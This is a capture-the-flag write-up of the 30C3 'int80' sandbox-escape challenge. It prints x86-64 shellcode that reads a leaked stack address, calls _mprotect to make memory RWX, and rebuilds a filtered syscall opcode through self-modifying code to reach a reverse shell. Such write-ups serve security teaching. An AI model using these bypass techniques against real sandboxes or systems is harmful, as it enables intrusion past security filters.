30C3 CTF - int80 (sandbox 300)

Int80 was another sandbox-escape task on the awesome 30C3 CTF. In this task you could send in (via TCP) x86-64 machine code, which was filtered and later executed on a GNU/Linux machine. The filtering was done by searching for bytes that could be a syscall, sysenter or int 80 instructions (on byte level, not the instruction level), and changing them to a series of NOPs.

Additionally before the code was executed all registers were zeroed, and so was part of the stack (on the upper side of the RSP register) - the intention was to avoid address leaks and so disallow jumps into libc or the server binary itself (ASLR-rich land it was).

The problem discovered by us was that the lower side of the stack was not cleaned and it did contain an address to one of the server-binary functions (the signal handler). This allowed us to write a simple scanner that looked for the last 12-bits (the not-affected-by-ASLR ones) of the function address on the stack, grab that address, and then use it to call _mprotect function in the server binary itself. At some point we noticed that the offset of this address on the stack is identical to the local one, so we removed the "scanner" and replaced it with "static" code, that looked like this (nasm dialect):

_start: 

        mov rsi, rsp        
        mov rax, [rsi-0x80] ; The handler function address will be here.
        sub rax, 0x2020F0
        and rax, 0xfffffffffffff000
        jmp mprot

mprot:
        add rax, 0x980 ; Offset of _mprotect function from base.
        mov r8, rax
        
        lea rax, [rel $]
        and rax, 0xfffffffffffff000
        mov rdi, rax

        mov esi, 0x200
        mov edx, 7
        call r8 ; Make this area RWX!

Calling the _mprotect function made the shellcode area RWX again and allowed us to do some SMC to get the syscall instruction we needed for a reverse shell. The SMC we used looked like this:

 inc byte [rel n1]
        n1: db 0x0e, 0x05 ; This is syscall opcode minus 1

The rest, as they say, is history.